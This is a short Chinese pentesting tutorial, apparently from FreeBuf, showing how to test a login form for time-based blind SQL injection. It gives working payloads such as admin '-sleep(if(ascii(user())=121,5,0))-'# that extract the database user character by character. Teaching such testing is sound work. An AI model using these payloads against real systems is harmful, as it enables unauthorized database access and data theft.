一个登录框怎么测试?
测试步骤:
1、首先查找注入点:
在登录页面的账户输入admin’密码随便输,返回如下图
但是我输入admin’’ 密码随便,返回的又不一样
所以我先去bp里面抓包试验一下
用sleep()函数实验一下,看能不能触发这个sleep函数
果然它睡了五秒
Payload:admin'-sleep(5)-'
所以更加确定这个地方是有注入点的
那么接下来构造基本的轮子:
Payload:
admin '-sleep(if(1=1,5,0))-'#
在sleep()函数里面加一个if语句,就是说1=1那个表达式中,如果为真就返回5,否则就返回0
这一次也是停了5秒才显示出来的
继续构造poc
Payload:
admin '-sleep(if(user()!='a',10,0))-'#
利用user()获取当前用户,因为我不知道具体是哪个字符,所以只有加个感叹号才能说明这个语句为真,才会返回5,所以这次也是隔了五秒,raw才显示出来
继续构造poc
Payload:
a '-sleep(if(ascii(user())=1,10,0))-'#
所以我直接用ascii()函数将user()转换成ascii码进行爆破
出现了两个ascii码
所以试一下哪个是的
经过测验,发现121才会睡5秒,122没有睡
admin '-sleep(if(ascii(user())=121,5,0))-'#
admin '-sleep(if(ascii(user())=122,5,0))-'#
所以查ascii表发现
121对应字母y
然后来利用截取函数就可以跑出全部数据了
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录